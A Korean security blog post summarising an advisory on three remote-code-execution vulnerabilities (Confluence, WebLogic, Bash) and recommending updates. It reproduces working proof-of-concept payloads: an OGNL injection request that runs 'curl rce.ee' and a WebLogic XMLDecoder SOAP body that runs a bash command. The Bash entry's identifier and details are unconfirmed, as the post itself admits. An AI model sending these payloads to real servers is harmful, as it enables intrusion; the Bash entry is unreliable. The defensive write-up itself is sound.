꼰머의 보안공부

1. 개요 [1]

- 최근 해킹조직이 국내 웹사이트 공격에 소프트웨어 취약점을 악용

- 취약한 버전의 소프트웨어를 운용하는 경우 최신버전 업데이트 등 보안 조치 권고

2. 주요내용

2.1 Atlassian (CVE-2023-22527) [2]

- Atlassian社 Confluence Server 및 Confluence Data Center 제품 탬플릿에 OGNL 표현식을 삽입해 원격 코드 실행이 가능한 취약점 (CVSS: 9.8) [3]

- 영향받는 버전: 8.0.x / 8.1.x / 8.2.x / 8.3.x / 8.4.x / 8.5.0 ~ 8.5.3
- 취약점은 "./confluence/confluence/template/aui/text-inline.vm"에서 발생
> #set( $labelValue = $stack.findValue("getText('$parameters.label')") )
> 매개변수를 직접 사용하여 발생하는 취약점

- PoC [4]

POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 255

label=\u0027%2b
#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue((new freemarker.template.utility.Execute()).exec({"curl rce.ee"}),{})%2b\u0027

2.2 Oracle (CVE-2017-3506) [5]

- Oracle WebLogic WLS 제품에서 XML 디코드 처리 미흡으로 조작된 XML 페이로드를 전송해 원격 코드 실행이 가능한 취약점 (CVSS: 7.4) [6]
- 영향받는 버전: 10.3.6.0 / 12.1.3.0 / 12.2.1.0 / 12.2.1.1 / 12.2.1.2
- PoC [7][8]

<soapenv:Envelope xmlns:soapenv="hxxp://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="hxxp://bea.com/2004/06/soap/workarea/">
        <java version="1.8.0_131" class="java.beans.XMLDecoder">
          <void class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
              <void index="0">
                <string>/bin/bash</string>
              </void>
              <void index="1">
                <string>-c</string>
              </void>
              <void index="2">
                <string>touch /tmp/123</string>
              </void>
            </array>
          <void method="start"/></void>
        </java>
      </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

2.3 GNU (CVE-2013-6217) [9]

- GNU Bash Shell에서 환경변수에 악의적인 코드를 삽입해 원격 코드 실행이 가능한 취약점 (CVSS: 9.8)
- 영향받는 버전: 1.14.0~1.14.7 / 2.0~2.05 / 3.0~3.0.16 / 3.1~3.2.48 / 4.0~ 4.3
- 관련 추가 내용 확인 불가

3. 대응방안

- 최신 버전 업데이트 적용

4. 참고

[1] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=SecurityAdvice_main&nttId=115734&pageIndex=1&searchCnd2=
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-22527
[3] https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/
[4] https://github.com/Manh130902/CVE-2023-22527-POC
[5] https://nvd.nist.gov/vuln/detail/CVE-2017-3506
[6] https://ggonmerr.tistory.com/search/CVE-2017-3506
[7] https://github.com/Al1ex/CVE-2017-3506
[8] http://www.code2sec.com/weblogiclou-dong-cve-2017-3506fu-xian-web-servicesmo-kuai-de-lou-dong.html
[9] https://nvd.nist.gov/vuln/detail/CVE-2013-6217